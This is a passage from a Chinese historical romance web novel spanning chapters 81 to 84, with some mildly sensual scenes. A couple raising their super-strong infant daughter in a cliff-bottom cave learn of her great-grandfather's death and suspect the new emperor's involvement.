苏琯璋更紧地将她嵌进怀中,“若是天气好,我就带着你们。” “好,我和女儿都跟着你。”宣槿妤声音一如往日的清甜,却又似是含了饴糖,更添了几分蜜意。 苏琯璋俯首埋在她脖颈间,细细密密的吻落在其上,宣槿妤呼吸渐渐乱了。 不够,还不够。 心里的渴望似要灼烧起来。 苏琯璋又握着她的肩膀慢慢将她推开,捧住她的脸,急切地去吻她。 他吻得很深,带着似要将她拆吞入腹的渴望。宣槿妤愣了一会儿,被他卷住舌尖之后,才回过神,伸手回抱住他,慢慢回应着他。 山洞里的气息一下子便变得暧昧且浮躁起来。 小竹床里的岚姐儿小拳头又握了起来,放在小脸两侧。 她阖上双眼时,一张小脸便越发酷似宣槿妤,此时无意识地露出一抹笑,甜甜的模样能让旁人的心融化。 只可惜,往日常爱观摩她睡颜的爹娘此刻并没有这份心思,错过了她这样可爱的一幕。 燥意席卷着,来势汹汹地缠上久未亲热过的小夫妻俩。 缠绵缱绻的喘息声,混合着激烈的心跳声,逐渐与欢快流淌进山洞中的山泉水涌动声同频。 许久,二人才慢慢分开,两人唇边沾着的晶莹细丝从中间断开,被苏琯璋吻去。 宣槿妤脸颊已经红透了,不敢去看他幽深的眼神,只伏在他肩上,急促地喘息着。 自她怀胎进入第九个月临产、到她生产坐完月子,苏琯璋还是第一次这样急切又热烈地吻她。 宣槿妤恍惚中仿佛又回到了去岁他刚停用避子药、她怀上岚姐儿的那段时日。 苏琯璋到底及时停了下来。 他喘着气,将软了身子的宣槿妤抱坐在床边,平复着呼吸。 “不行,避子药还没做好,我不能碰你。”他低沉沙哑的嗓音落在她耳畔,烫红了她小巧白皙的耳垂。 苏琯璋将头轻轻抵着宣槿妤的肩,感受着她似自己一般灼烫的体息,单手慢慢在她后背摩挲着,替她顺着气。 宣槿妤咬着唇,咽下了喉间的轻吟。 一阵急促而热烈的快意袭来,她终究忍不住,吐出婉转妩媚之音,身子越发娇弱无力,软软地倒在他怀中。 他这么替她“顺气”,反而让她呼吸越发灼热,檀口微张,脸上布满潮红,媚意横生。 苏琯璋另一只手慢慢从她裙摆内收了回来,上面还沾着她的气息。 “还好么?”他哑声问道。 小竹床里的岚姐儿饿了,哼哼唧唧地叫唤起来时,苏琯璋才替宣槿妤换好了一身下裳。 宣槿妤脸上绯色未散,上半身仅有一件中衣蔽体,遮住了雪白身子上他留下的痕迹。 她也不冷,因肩上还披着他的外袍。 她忍着身上残存的酥麻,缓缓从床上坐起,慢慢拢好衣襟,侧耳倾听着小山洞外比往日响亮许多的潺潺水声。 汨汨流淌的山泉水声中,多了让人脸红心跳的“哗啦”声。 泉水是冷的,但她听得脸上越发嫣红。 岚姐儿哼唧哼唧了几声,见爹娘还不来抱她,有些着急,小嘴努动着,“嗯哼嗯哼”了几声。 宣槿妤才惊醒过来,慌忙收回思绪,身子动了动,伸手就要去抱孩子。 只是,她身子现下还在发软,纵然有一身神力,此时也使不上劲儿。才微微站起,便又无力地跌回松软的被褥上。 摔得倒是不疼,只是…… 宣槿妤歉然地看着孩子,将绵软的双手收了回来,改扶着床沿慢吞吞地坐了起来。 她想张口叫正在小山洞洗去一身燥火的苏琯璋,但还未出声,身边便掠过一阵风。 熟悉的清雪气息萦绕在她鼻尖。 苏琯璋将岚姐儿抱了起来。 可 以看出,他此时颇有些狼狈。 苏琯璋此时身上只穿了件中裤,连中衣都没来得及穿好,只匆匆地披在身上,露出一丝遮不住的冷白肤色,但好歹没袒露出整个胸膛来。 宣槿妤见他虽然一身湿气还未散尽,但传来的气息是温热的,便知他又用了内力将自己身上的冷意烘暖了。 她不自在地移开目光。 岚姐儿方才还睡在小竹床里,就在石床边上,他们竟就…… 这倒也罢了! 岚姐儿却在他们俩都还未平复身子的燥意时饿醒了,婴孩特有的稚嫩声音打断了爹娘的冷静时间,搅得二人都狼狈不已。 “我来抱着女儿。”苏琯璋看出妻子脸上的尴尬,他其实也没好到哪里去。 怀中的岚姐儿哼唧声已经快要转为啜泣声,他深吸一口气,忙在宣槿妤身后坐下,让她靠在自己怀中。 不必宣槿妤抱着,她松了口气,解开才合拢的中衣,开始喂起奶来。 再多的旖旎,再大的情动,也缓缓消散在女儿大口大口努力的吞咽声中。 宣槿妤慢慢放松身子,抬起头,和他相对着露出一个复杂的笑容来。 “没事。”苏琯璋脸上的不自在也消失了,他亲了亲妻子的额头,“岚姐儿现在什么也不懂。” 而且,她那时睡着,亦什么都没看到。便是看见了,也没什么,因为她的爹娘,那时候只是很普通地抱在一起而已。 顶多呼吸体温都比平时灼热许多。 “你方才是不是摔了?”给吃饱喝足、睁着大眼睛好奇地盯着爹娘瞧的岚姐儿拍完嗝,苏琯璋问宣槿妤。 “没事,被褥足够松软。”宣槿妤回答。 她此时终于恢复了气力,从他怀中抱过女儿,歉意地在她脸上亲了亲,“方才饿着你了是不是?” 他们这女儿,怕不是小猪崽转世。一旦饿了就哼唧个不停,便是她解开衣襟晚了一丁点,这孩子脸上的表情都像是在控诉饿着她了。 方才也是。 宣槿妤不过因着腿软跌回床间,耽误了那么几十数的功夫,岚姐儿便嘤嘤哭了起来。 等到喝到奶了,嘴里含着她的口粮,灵动的双眼还紧盯着娘亲的脸;一双小手更是紧紧地扒着宣槿妤那处不放,像是生怕旁人来和她抢吃的。 整个小土匪的霸道样。 岚姐儿伸手抓住宣槿妤的左手食指,嘴里发出“啊哈哈”的笑声,粉嫩嫩的牙床咧得开怀。 方才晚了一会功夫喝奶的事,她早已经忘了。 “你怎么这么可爱!”宣槿妤欢喜地将她团在怀里,揉了揉她的小脑袋瓜子,圆乎乎的毛绒绒的触感,惹得她爱不释手。 岚姐儿被娘亲摸得开心,手舞足蹈起来,小脚丫踹开了她父亲才拢好的衣襟。 宣槿妤顺着她脚丫踹过去的方向望去,正看到苏琯璋单手握住女儿的胖脚丫子,另一只手快速将松散的中衣穿好。 但她已经看到他锁骨上的痕迹了。 冷白肤色上的红色咬痕十分显眼,那是她方才情动难耐的时候咬出来的。 才散去的不自在又席上心头,宣槿妤咬着唇,别开了脸。 “哦哦啊”,岚姐儿脚丫子被父亲大掌握着,她又蹬了几脚,才得到解放。她高高兴兴地冲着娘亲笑,口水也流了下来。 苏琯璋及时探手过来,用柔软的口水巾擦了,才免了她小衣裳沾口水的结局。 “我来抱。”他说话间已经将口水巾给岚姐儿系好,小心地撑着她软软的脖子,接过了她的小身子。 兴奋的岚姐儿小手小脚都在动,“呜呜啊”,她喉间又吐出了别的音节,爹娘高兴之余,她自己也吃惊到了。 于是,接下来,山洞中便环绕着她稚嫩的婴语,“哦哦啊”“呜呜啊”…… 岚姐儿不厌其烦地发着音,伴随着小手舞动、小脚踢踏的动静,苏琯璋被她打了不知多少下、踹了不知道多少脚。 宣槿妤瞧得笑出声来,心里那丝羞窘早已散去。 “今日怎么这样开心?”她抓着岚姐儿的小手,摇了摇,惹得她越发兴奋,在苏琯璋怀里扑腾得像是一尾脱离水源在剧烈挣扎的鱼。 苏琯璋任由女儿小手打在肩上,小脚踹在胸膛,只含笑看着她闹腾。 “许是今日走远了些,她见识到了新鲜的风景。”他说,是在回答宣槿妤方才不算问题的问话。 宣槿妤才终于抬眼看他,神情自然,“你疼不疼?”她问,瞥见岚姐儿没被她抓着的那只小手又挥舞了一下,一拳头砸在他右臂,眼睫不禁颤了颤。 “不疼。”苏琯璋道。 宣槿妤狐疑,女儿继承了她的一身神力,打人踹人怎么可能不疼? 看清她眼中的疑问,“女儿许是和你一样,要有什么特殊情况才会激发神力。眼下她的力气和普通的婴孩没什么不同。”苏琯璋说。 “你别试,”他及时偏了偏身子,让过了宣槿妤伸过来替他挡一脚丫子的手,“我不疼,但你会疼的。” 第82章 第82章你要节制些 白隼是在他们用完晚膳之后才回来的,带了一身的冰雪气息。 “让我猜猜,你去哪里撒欢了?”这回宣槿妤没有上手去摸也感知到了它一身的凉意,“可是去找三哥哥他们了?” 岚姐儿下午时睡了一觉,眼下醒着,见到白隼,眼睛一亮,在苏琯璋怀里扑腾着小身子,伸着小手,像是要去抓它。 苏琯璋眼皮一跳,忙偏过身子,“可不兴上手抓。”他盯着女儿的眼睛,两双十分相似的眼瞳倒映着彼此的影子。 岚姐儿瞬时便忘了自己方才要干什么,只好奇地盯着父亲眼中那个小小的自己。 “哦哦啊~”她咧嘴一笑,眉眼也弯了起来。 苏琯璋忍不住亲了亲她的小脸。 “本以为是个安静乖巧的,”他对宣槿妤说,“不想是个活泼好动的。” 苏琯璋轻轻地捏了捏她的小手,感受着她此时比普通婴孩大了许多的力道,“倒也不错,我苏家姑娘,就该如此恣意。” 宣槿妤也听笑了,“乖孩子变皮孩子,日后也没得省心了。”见女儿在看她,她便凑过去,也亲了亲她的小脸儿。 岚姐儿先后被爹爹和娘亲在脸颊两侧各亲了一口,也蹬起小脚丫,头又朝着宣槿妤歪了过去。 宣槿妤又在她另一侧小脸蛋亲了亲。 “呜呜啊~”岚姐儿快活极了,小脑袋又朝苏琯璋倾去。 苏琯璋会意,在方才宣槿妤亲过的对侧脸蛋儿亲了亲。 莫名其妙地,一家三口便当着白隼的面儿,玩起了亲亲的游戏。 岚姐儿快活兴奋的小奶音萦绕不绝。 白隼歪了歪头,见除了最开始宣槿妤对它笑着说的那句话,便没人再理会它,拍了拍翅膀。 扇起的风带着还未散去的雪气,“阿嚏”“阿嚏”,岚姐儿打了两个喷嚏。 宣槿妤紧张地去摸她的额头。 白隼不动了,扇开的翅膀定在空中,配合着它静止不动的眼神,颇有几分傻气。 “无事。”苏琯璋松开放在岚姐儿腕间的手,摸了摸它的小脑袋。 岚姐儿打完喷嚏,跟没事人一样,又嘻嘻笑了起来。 白隼翅膀放下了,一双圆溜溜的眼睛又灵活地转动起来。 “没有故意冷落你。”宣槿妤掏出帕子,给它擦拭湿润的毛羽,直将它擦得炸了毛。 她收回手时,看着自己的“杰作”,忍着笑,“好似回到了我们第一次见面的时候。” 那时候,白隼浑身上下都被雨淋透了,还受着伤,她当时也是用干毛巾将它擦得炸了毛。 白隼顺从地在她掌心蹭了蹭。 宣槿妤心中泛起一股暖流,这感觉更像是他们初初救下它时的样子了。只不过,现下他们更为熟络、也对彼此更加依恋了许多。 苏琯璋在白隼炸起的毛羽中捡起一小块纸碎,捻了捻,“这是苏家信纸的碎片。”他抬眼对宣槿妤说道。 “你果真去找了山外找三哥他们了。”这是对白隼说的,说着他便在白隼身上检查了一番。 不过再无所获。 苏琯璋若有所思,“看来那些人还没走。”他声音放轻了些许,微微晃动着手臂,便看着岚姐儿慢慢阖上了双眼。 天暗下来时,便是例行的夫妻夜谈时间。 宣槿妤从石壁后头被苏琯璋抱出来,眉眼间媚意还未散去,发间还沾了些许水气,懒懒地环着他的脖子。 二人倒在软被上。 苏琯璋呼吸间还带着方才的灼意,喷在宣槿妤肩上,痒得她往他身上藏了藏。 “你去看看岚姐儿。”实在躲不过,宣槿妤推了推他坚硬的身子。 苏琯璋深吸口气,坐了起来,探身去看小竹床上睡得酣甜的女儿。 “辛苦你了。”他对立在小竹床边上的白隼说道,“你且歇着罢!” 白隼像是听懂了他的话,很快将小脑袋藏在翅膀之中;整只玉爪看 起来就像是雪白的一团,毛羽在烛火的照映下似散发着微弱的光。 苏琯璋重新坐回床边,将身子慵懒的宣槿妤摆好入睡的姿势。他很快也钻进了被子中,揽住她恢复过来的纤细腰肢。 “不问我今日在小木屋里看到了什么?”他低声问宣槿妤,揉了揉她红晕未散的侧脸。 宣槿妤抓住他作乱的手,“你总归会说的。”她往他怀里钻了钻,直到二人身子紧紧相贴,“好了,你可以说了。” 她有预感,苏琯璋见到的定不会是什么好事。 便是没有她这预感,就单看那破败不堪的小木屋,也能推测出原来的主人在这崖底下过的是什么日子。 三哥哥给她的信上说,山外的村民们祖孙几代人都没见过掉进这崖底的人能活着出去的。 也就是说,建了小木屋的人,最终也没能走出这崖底。 “我不怕,你看到什么就说便是,不许瞒着我。”不待苏琯璋说话,她忙补充道。 她可是知道,这男人和她说话时,常常只说好的一半,藏了不好的另一半来着。 苏琯璋吻了吻她的额头,道了声“好”。 他果真没瞒着他见到的事。 “那小木屋的主人,是位内力深厚的前辈,因和人结了仇,被人追杀不慎掉入这崖底。”苏琯璋说。 他在小木屋里看到了主人刻在木墙上的生平。 “那位前辈被困在这崖底四十余年。但他没有放弃,日日修炼,内力达到顶峰之时,他想凭借着轻功飞上这悬崖峭壁。” 但是在高空时,有大风吹来,他被吹得身体移了位,一口气没憋住,掉了下去,砸穿了屋顶。 “屋顶上的洞,不是厅堂里的树长出来顶穿的,而是那位前辈掉下去砸穿的。” 那树也是因着这机缘,才得以窥见天日,长得繁茂浓绿。 宣槿妤听得深吸一口气,抱住他的脖子,“若我们当时没有掉进湖中,是不是也会像他那样……” 她埋头在他胸膛,声音闷闷的,带着后怕。 若真是如此,他们一家三口便不会如今日这般,还能好好地生活着。 苏琯璋抱歉地亲了亲她的发顶,“还是吓到你了?”他有些懊恼。 他果真不适合讲故事,上次被她嫌弃平铺直叙,这次还将她吓到了。他分明用词已经十分委婉了。 宣槿妤心跳本还加速地跳着,被他逗乐,“你用词哪里委婉了?”她反驳道,声音里恢复了清甜。 不委婉么? 苏琯璋有些疑惑,但转念一想,只要她不害怕了就好,便没有再揪着这点。 “你继续说。”宣槿妤将头从他胸膛间抬起,靠在他肩上,戳了戳他的脸。 觉得不过瘾,又学了他方才捉弄她那样,揉了揉他的脸颊,还过分地将他的嘴捏得嘟了起来。 “噗嗤。”宣槿妤笑不可抑,倒在他怀中,身子都在发颤,手倒是松开了。 苏琯璋:“……” 不许他闹她,她自己却玩得挺开心。 他抓着人胡乱亲了一通,亲得她气息都乱了,身子再次软倒在他身上,才继续往下讲。 “那后院杂草丛生,已经和外面的林地没什么不一样了。”苏琯璋说道。 他当时要转身离开时,眼角余光发现了一点年代久远的深褐色痕迹,便用软剑拨开茂密的草丛看了一眼。 他揽紧了怀中人的身子,“那位前辈掉下来之后,撑着一口气爬到了院中,留下了他的姓名和生殁年。” 他看到的那点深褐色痕迹,便是干涸了十余年的血迹。 因为通往厅堂通往院子的门大开着,厅堂顶部又穿了个大洞,十多年风吹雨淋、阳光普照,当年蜿蜒一地的血迹早已被郁郁葱葱的草地覆盖。 只门槛边上,残留了一点血痕。 苏琯璋顺着那血迹再往前拨了拨草丛,便发现了那位前辈的骸骨碎片。 十多年过去,尸骸早已不再完整,散落在院子四周;应当是当年有什么乌鸦、秃鹫之类的食腐鸟类在啄食尸体时让它们脱离了骨架。 而今郁郁葱葱的杂草、灌木甚至还有几株大树,都深深将残存的骸骨穿透,或者将它们掩埋在泥土里。 如此一来,收尸便成了几乎不可能的事。除非将这院子所有植物铲除,剔掉缠绕、扎穿骸骨的根系,再一寸寸搜寻过去,或许可能勉强凑成一副残骸。 总归不可能拼凑成一副完整的骨架。 不过,苏琯璋没有说这么细,只说:“我给那位前辈立了碑。” 那位前辈强撑着重伤的身躯爬到院子里,还留下自己的名姓与生殁年,不过是为了日后若有人真的来到这破败的小木屋,还能替他留下个墓碑。 既如此,苏琯璋便合了他的遗愿。 也是因为如此,他才耽搁了些许时间,让外面抱着女儿的宣槿妤好一阵担忧。 为转移她的注意力,苏琯璋翻了个身,让她趴在自己身上。 “夫人运气绝佳,倒是为夫占了便宜。”她平坦的小腹贴着他,忽然便让他怀念起她怀着岚姐儿时的模样。 不过也只一瞬间,这样的念头便消失在脑海中。 她小腹隆起时固然好看且让他怜惜,但她也过于辛苦了些,她还是这样好些。二人亲密时,只要他不做到最后一步,也毫无顾忌。 隔着一层柔软舒适的中衣,他缓缓摩挲着她的纤腰,回味着下面肌肤的滑腻与诱人。 宣槿妤没察觉到他心思已经偏了,十分得意地回道:“我自小运气就十分不错,你确实占了大便宜。” 家世、容貌、品行她皆是上乘。 新帝盛誉回京被册封太子,迎娶太子妃,而她身为曾抗旨拒婚的人,当时无人敢娶。可这时,苏琯璋回京了。 她嫁了京中人人艳羡的夫君,当年可不少人搅碎了帕子,气恼她的好运气。 再者,娶了她,可也是他的福分。 没看这一路,因着她,他少走了多少弯路?便是他们如今栖身的山洞,和今日那小木屋,可也都是她先发现的呢! 她用手肘微微撑起身子,抬眼看他,“你该和我说什么?”她期待地盯着他的眼睛。 他近来学会了说情话,她还没听够呢! 苏琯璋的反应却和她的不同,他只笑得温和,“那我也是你的好运之一?” 得不到期待的情话,宣槿妤不满地掐了掐他那张嘴,“是我是你的好运才对。” 就连那狗皇帝盛誉,若非她抗旨拒婚,为作补偿,外祖父岂会答应助他登上太子之位? 苏琯璋轻笑出声,胸膛间的震动忽然便让宣槿妤失去支撑身子的力气,就在她要倒在他硬邦邦的胸上时,被他一把揽住。 “槿妤。”他忽然唤她的名字,语气缠绵。 宣槿妤感受到他身下的动静,再对上他那双重新染上热意的双眸,脸颊绯红。 “你,你,”她声音磕磕巴巴的,音量也降了下去,“你要节制些。”她耳垂和露在衣领外面的雪色脖颈此时也都是红霞一片。 第83章 第83章她的外祖父,林太傅去世…… 这日午膳照旧是少油少盐的样式,一道山药菌菇鸡汤、一道清炒野苋菜和一道清炖羊肉。就两个人吃,也颇为丰盛了。 岚姐儿刚吃饱,躺在苏琯璋臂弯里,抓着她父亲左手大拇指不放,正好奇地盯着二人。 见两人夹菜,她便会转动着小脑袋,跟着看一眼竹桌上的饭菜,目光明显被那道青翠欲 滴的野苋菜吸引。 “你还不能吃。”苏琯璋用口水巾擦了擦她流出来的口水。 宣槿妤正喝着汤,闻言偏头看女儿,被她逗乐,“真是只小馋猫儿。”她刮了刮岚姐儿的小鼻子。 娘亲对自己笑了! 方才还安安静静的岚姐儿顿时便激动起来,嘴里念着“啊啊啊”,在苏琯璋怀里扑腾着就想到娘亲怀里去,但却被父亲禁锢着动弹不得。 她皱起小眉头,抬眼去看她父亲,忽然,抬手就拍了拍他的脸。 苏琯璋:“……” 不疼。但是他这女儿怎么回事?才两个月大,怎就学会了这样的招数?谁教她的? 宣槿妤汤也不喝了,笑着靠在苏琯璋肩上,抓住岚姐儿还要往她父亲脸上拍的小手。 “可真不得了,这么小脾性就这般大了。”她捏了捏岚姐儿的小手。 岚姐儿“啊啊啊”地对着宣槿妤叫,小手不动了,小脚丫子又开始蹬呀蹬的,踹了苏琯璋好几脚。 宣槿妤瞧得好笑,却又有些心疼,将她双手双脚一起按着,不给动了。“好孩子,你乖些,让爹爹娘亲吃完饭再陪你玩儿。” 她声音十分温柔,听得苏琯璋目光停留在她似水般柔和的明眸上,眼神深了几分。 只是,有些心思显得那么不合时宜,于是很快他又转开目光,摸了摸岚姐儿的头。 宣槿妤一无所觉,只含笑看着岚姐儿重新安静下来,并朝她咯咯笑。 夫妻俩又重新吃起饭来。 不过,方才的一通玩闹不知是否影响到了宣槿妤,她吃着清清淡淡的饭菜,忽然就十分想念她生产前夜吃的那只烤鸡来。 “味道也太淡了些。”她咬了一口鸡肉,颇有几分嫌弃,但还是咽下去了。 日日吃着少油少盐的饭菜,没滋没味的,若非有新鲜果子润一润,她都要受不住了。 没料到,亲自喂养孩子,连吃个饭都吃不痛快,竟是如此难熬。 “要不,我去找只母羊来,日后给女儿喝羊奶,你就不用喂了?”苏琯璋看着也有些心疼,提议道。 宣槿妤看着他怀中睁着一双大眼睛对自己笑得呵呵的女儿,忙摇摇头,“还是我来喂罢!” 她才舍不得让自己的女儿喝羊奶,她明明自己能喂的。 “槿妤,你也很重要的,即便有了女儿。”苏琯璋看着她,认真地说道。 她和女儿都很重要,但非要比较的话,她是要排在女儿前面的。 他舍不得她受苦,哪怕是为了他们的女儿受苦。 宣槿妤被他看得脸上飞起一片红霞,忙回过头,欲盖弥彰地夹了一筷子野苋菜,塞进了嘴里。 “我能给岚姐儿做的事情不多,我继续喂吧!”她小声说道,没好意思去看他的眼睛。 苏琯璋摇摇头,“槿妤,不是这样算的。” 他放下筷子,搂住重新扑腾起来的岚姐儿,神情十分端肃,“孩子是你辛辛苦苦怀胎九月余、又历经磨难生下来的,剩下的事情,你可以都交给我。” “啊啊啊~”岚姐儿被父亲压制住,不满地叫起来,奶声奶气的,和她娘亲一样娇气。 苏琯璋笑着摸了摸她的小脸。 “槿妤,在我心里,哪怕是女儿,也不及你重要。”他捂着岚姐儿的双耳,轻声道。 他难得说这样动人的情话,宣槿妤本来还挺感动的,却被他这一动作逗得忍俊不禁。 她坏心地扬起眉,有心逗弄他,“那你为什么要捂着岚姐儿的耳朵?不敢让她听见么?” 她上手拉开他双手,“来,当着岚姐儿的面儿,你再跟我说一次。” 岚姐儿已经能够听懂自己的名字,闻言也不摇手蹬脚了,看看宣槿妤,又顺着她的视线去看苏琯璋。 见父亲没有任何动静,忽然,她冲他凶凶地“啊”了一声,小手抬起又落下,重重拍在他腿上。 看样子,她对于父亲的压制而不能愉快地扑腾,积压的不满已深。 苏琯璋眼睫一颤,被女儿这毫无预兆的动作拍得深吸一口气。 力道太重了。 苏琯璋当日未能见到宣槿妤力压十数壮汉,双手举起巨石扔在一旁的壮举。但经过方才女儿那一掌,他想,他已经大概知道那是什么样的惊人气力了。 若非他常年习武,内力惊人,又皮糙肉厚,她这一掌下去,他不残也要骨碎。 “怎么了?”见他那反应,宣槿妤有些紧张。 这男人之前被自己咬出血了可是眉头都不带动一下的,如今反应已经算挺大的了。 她胡乱猜测着,“可是岚姐儿手拍到不该碰的位置了?”她小声问道,一张俏脸已经红透了。 虽然她不该这样想,但观他那反应,真挺像……嗯哼,挺像她当年怒火中烧之下,故意从他身上踩过,却不慎踩了他那处一脚时……他的反应的。 苏琯璋再次深吸口气,被她大胆的猜测惊的。 “不是,”他忙开口,生怕她嘴里又吐出什么惊人的话来,“我不会让那样的事情发生。” 不是就好! 宣槿妤也松了一口气。 呜呜呜,岚姐儿,是娘亲错了,不该冤枉你! 这样的揣测……她都不好意思对女儿道歉。 不过经过这一个乌龙,宣槿妤脸上的绯色已经散去,狐疑地盯着他,“那是怎么了?” 那股强烈的犹如碎骨般的痛楚慢慢散去,苏琯璋握住岚姐儿的小手,对她摇了摇,“你忘记女儿继承了你的神力了?” “没忘,”宣槿妤也探手去给岚姐儿抓,感受着她的力道,“但她不是好多天没展示出她的特殊了么?” 上次他们将白隼遗忘在旁,一家三口玩亲亲那个晚上,苏琯璋说岚姐儿又展现了她的神力。 但距离那日,也都有近小半个月了。 “岚姐儿神力出现的时候,和我不大一样。”宣槿妤说道,颇有几分苦恼。 就这么一会儿功夫,她的力气又恢复成了普通婴孩的大小了,仿佛苏琯璋方才遭受的重击不存在一般。 若非宣槿妤亲眼见到这男人痛到变脸,又深知这男人的秉性,她也该怀疑他是否在逗弄她,或者跟她撒谎了。 “无妨,岚姐儿还小,我们再慢慢观察便是。”苏琯璋说道。 主要是岚姐儿都还没满百日,更不会说话,表达需求也只会哼哼唧唧,或哭或笑;他们又不可能一日十二个时辰都握着她的小手感受她的力道变化,哪里会这么容易总结出规律来。 “我来喂。” 饭毕,漱了口,宣槿妤接过岚姐儿时,看着苏琯璋的眼睛,说得十分认真。 这不仅是告知苏琯璋她的最后决定,也是在回答他方才的那句情话。 他都能陪着她吃些没滋没味的饭菜,她又怎么能耍性子不吃?何况,养一个孩子,现阶段没有比亲自喂养她更加让人幸福的事了。 岚姐儿可是融合了他们两人血脉的孩子! 苏琯璋点点头,“好。” “我明日还是先寻只母羊回来。”他将母女俩一起拥在怀中,“就养在竹林里,我们每日消食走过去时,还能让岚姐儿瞧个新鲜。” 他低头看了一眼将小脸蛋埋在娘亲怀中,有些昏昏欲睡的女儿,心里发软,声音也放轻了一些,“也当个不时之需。”他道。 他说得含糊,但宣槿妤一下子便听懂了,脸颊登时便红透了。 但到底也没有说出否定的话来。 苏琯璋说得对,是得备只母羊来。 不是说不需要她亲自喂岚姐儿了,而是岚姐儿太能吃了,次次都将她掏空。 催奶汤,她还没喝过,怕过段时日也可能要喝了,但谁也不能保证她喝了就一定能够满足女儿越来越大的食欲。 而岚姐儿不过才两个月大,食量还会继续增长,又远远不到吃辅食的月龄,多只母羊确实挺好的。 将睡着的岚姐儿放回小竹床里时,外出撒欢的白隼才带着一身的寒气进来。 它扇了 扇翅膀,带起的凉风便扫了宣槿妤苏琯璋一头一脸。 二人倒不似岚姐儿敏感,没有打喷嚏。 但苏琯璋还是挡在宣槿妤身前,抓住了它欲要再次闪动的翅膀,“好了,我们注意到你了。”他说道。 白隼一身的白雪寒气,可别让槿妤受了寒。 自那日二人被岚姐儿吸引,和她玩了小半刻钟的亲亲,而将白隼冷落之后,它每次回来,都会这样引起二人注意。 实在是让人哭笑不得,也不由感叹,它果真极富灵性。 不过…… 苏琯璋算是明白了方才岚姐儿为什么会用小手拍他的脸了,“岚姐儿原是跟你学的。”他有些无奈。 宣槿妤想起方才女儿拍打她父亲脸的那一幕,将头抵在他背上,笑得身子都在发抖。 白隼翅膀不再动了,爪子从腹下探出,露出木色的信封,封漆是宣家家主之印。 是京中宣兆的来信。 时隔大半个月,白隼再次替山外之人送信前来,带来的却是一个让宣槿妤难以承受的消息。 她的外祖父,林太傅去世了。 林清婉在信中写道,秋日起风时外祖父染了风寒,缠绵不愈,好不容易好转得以起身;却不想十一月初一场大风雪来袭,老人家就这么去了。 第84章 第84章先帝之死,似乎和新帝有…… 宣槿妤难以置信地看着书信内容,怀疑自己看错了。 她惶惶地回头去看苏琯璋的表情,却见他十分不忍心地抱住她,神色悲痛。 眼中有水雾漫出,宣槿妤颤抖着双手,强忍着哽咽继续往下看。 她想知道,外祖父去世之前,都发生了些什么。 他收到他们坠崖的消息在先,还是先得知他们安然无恙的消息在先? 信纸上有水痕,想是林清婉写信时忍不住落了泪。 不过她忍着悲痛,在信上安慰宣槿妤,说老人家去得安详,没怎么被这场风寒折磨,也算是件幸事。 要知道,前面一场风寒,已经将仙风道骨的老人折磨得瘦骨嶙峋,子孙们看了都十分不忍。 正是因林太傅这两场病,加之宣兆无端被人弹劾,波及了整个派系,故而林家和宣家都无暇顾及一行人。 收到京中交好的人家递来的传信时,才知晓他们的遭遇。 得知女儿女婿坠崖,九死一生之下平安生女,她十分欣慰。道是外祖父临终前还在盼着她安好,如今也得以安息。 而宣兆写得更为详细些,细节上却和林清婉写的略有些出入。 他说,收到他们平安无事、槿妤生下一个女儿的消息,要比他们坠崖的消息传回宣家和林家要早上一两日。 想来两家暗卫也是怕旁人比自己先行回京,传回些让主子接受不了的噩耗,便一路疾行。 幸好赶在了前一封书信抵达京中前,将后面一封报平安的传书送到了宣兆和林太傅手中。 这个时候,林太傅已经再次染上了风寒,症状十分轻微,但却引发了旧疾,不过在病榻上躺了不到半月,便在夜间悄声去了。 “幸好槿妤无事。”宣兆写道,“外祖父听闻他得了重外孙女儿,十分高兴,那日精神都好了许多。” 只是,老人家到底年纪大了,底子比不过年轻人,秋日那场风寒又极大地损耗了他的元气,他终究没能撑过这第二场风寒。 “外祖父临终时给你写了信,但他另有安排,想必过不了多久你便能收到。”信件末尾,宣兆是这么写的。 但信纸背后有墨迹渗出,想是因为写信之人心神不宁,不慎将墨水滴落在信纸上的缘故。 宣槿妤抹了抹眼睛,哽咽着翻到背面去。 背面的字迹是属于林清婉的,像是已经封好信封之后,重新拆开又在背面添了内容,而没有再用新的信纸。 视野十分模糊,但她努力睁大了眼睛,分辨着信上的内容。 “槿妤,是娘亲糊涂了,前边写的时间有误。该以你父亲写的为准。”林清婉在信上开头这么写道。 “苏家暗卫比宣家、林家暗卫都早一步入京,递来了你们的最新消息。” “只娘亲惦记着你们,又怕你们在崖底过得不好,惊梦之下披衣起床写了前边的信;夜深时还不大清醒,将梦境与现实弄混了。” “本想将那些信纸抽出重新写的,但近日忙于你外祖父的丧事,娘亲也无心再重写。” “又怕你伤心忧惧,便在你父亲的书信背面添了这些话。” 林清婉再写:“你外祖父临终前将儿女孙儿都招至床前,交代了些后事,想来他老人家也知道自己时日无多。” “他特别提到了你,说是要封锁你和女婿还活着的消息。” “你外祖父去世后,京中有传言,道是因为你和女婿坠崖的缘故,老人家承受不住打击,才撒手人寰。” 圆圆的墨点便是滴落在“因为你和女婿坠崖的缘故”这句话边上,想来林清婉写下这句话的时候心里也十分不忍。 宣槿妤已经拿不稳信纸,手抖得厉害,苏琯璋将她抱在怀中,将信纸接过,放在她面前。 “你父亲和你大哥哥已经告假两月,伯父叔父堂兄他们也告假了半月。” “槿妤,宣家和林家都没有理会这些传言。你外祖父临终时说,得委屈你背负这些谣言,待日后开云见日,真相自有分晓。” 林清婉最后写道:“槿妤,保重己身,娘亲盼你平安归京。” 泪水打湿了信纸,与其上暗色的水痕相合。 苏琯璋收起了信纸,抱紧了宣槿妤,她看完信,现下已经哭成了泪人儿。 哀恸的哭声落在他耳边,让他心里一阵阵抽痛,却无法安慰她。 算算日子,外祖父病倒起不来身的时候,正是他们遭遇狼袭的消息传回京中的时候。 怪不得新帝再无顾忌,原是已经知道没人能够牵制住他了。 若说秋日里那场风寒是意外,那冬日里老人家毫无预兆地走了,真的是个意外么? 他记得,先帝也是这么走的。 宣槿妤的女夫子、宣文晟生母、前太子妃,在留给她的书信上,是这样写的: “因太子不待三司会审便自戕,便是自认了谋反的罪名。皇上最是以他的太子为傲,承受不了这个打击,染了一场风寒后,因悲恸过度辞世。” 因为有先帝这个先例,所以朝中无人觉得有异。 同样是染了一场风寒,同样是“悲恸过度”辞世,哪里会有人怀疑其中是否暗藏玄机? 可是,先帝之死,他曾听外祖父漏过一丝口风,似乎和新帝有关。 至于怎么做到的,好像和新帝当年戍守皇陵时,从墓中取出来的某样东西有关。 当时林韧点到为止,并不多言。 苏琯璋看着怀中哭累了昏睡过去的宣槿妤,看来,是时候和京中联系了。 他想着宣兆写的那句话,说是外祖父给槿妤留了信,那么,送信之人如今在哪儿? 宣家的书信已经到了他们手中,林家送信之人想必比宣家暗卫更早出发南下,他如今藏在哪儿? 